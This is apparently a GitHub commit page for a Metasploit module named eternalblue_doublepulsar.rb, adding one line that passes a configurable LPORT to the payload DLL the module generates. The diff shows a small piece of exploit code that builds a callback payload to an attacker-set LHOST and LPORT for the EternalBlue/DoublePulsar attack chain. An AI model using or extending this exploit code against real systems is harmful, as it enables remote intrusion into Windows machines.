Skip to content

Commit

Permalink
LPORT customizable
Browse files Browse the repository at this point in the history
Now you can set lports other from 4444 and the exploit will still work!
  • Loading branch information
Ablax committed May 24, 2017
1 parent f96295c commit 50bb41b
Showing 1 changed file with 1 addition and 0 deletions.
1 change: 1 addition & 0 deletions eternalblue_doublepulsar.rb
Expand Up @@ -94,6 +94,7 @@ def exploit
print_status("Generating payload DLL for Doublepulsar")
pay = framework.modules.create(datastore['payload'])
pay.datastore['LHOST'] = datastore['LHOST']
pay.datastore['LPORT'] = datastore['LPORT']
dll = pay.generate_simple({'Format'=>'dll'})
File.open(datastore['WINEPATH']+datastore['DLLName'],'w') do |f|
print_status("Writing DLL in #{dllpayload}")
Expand Down

0 comments on commit 50bb41b

Please sign in to comment.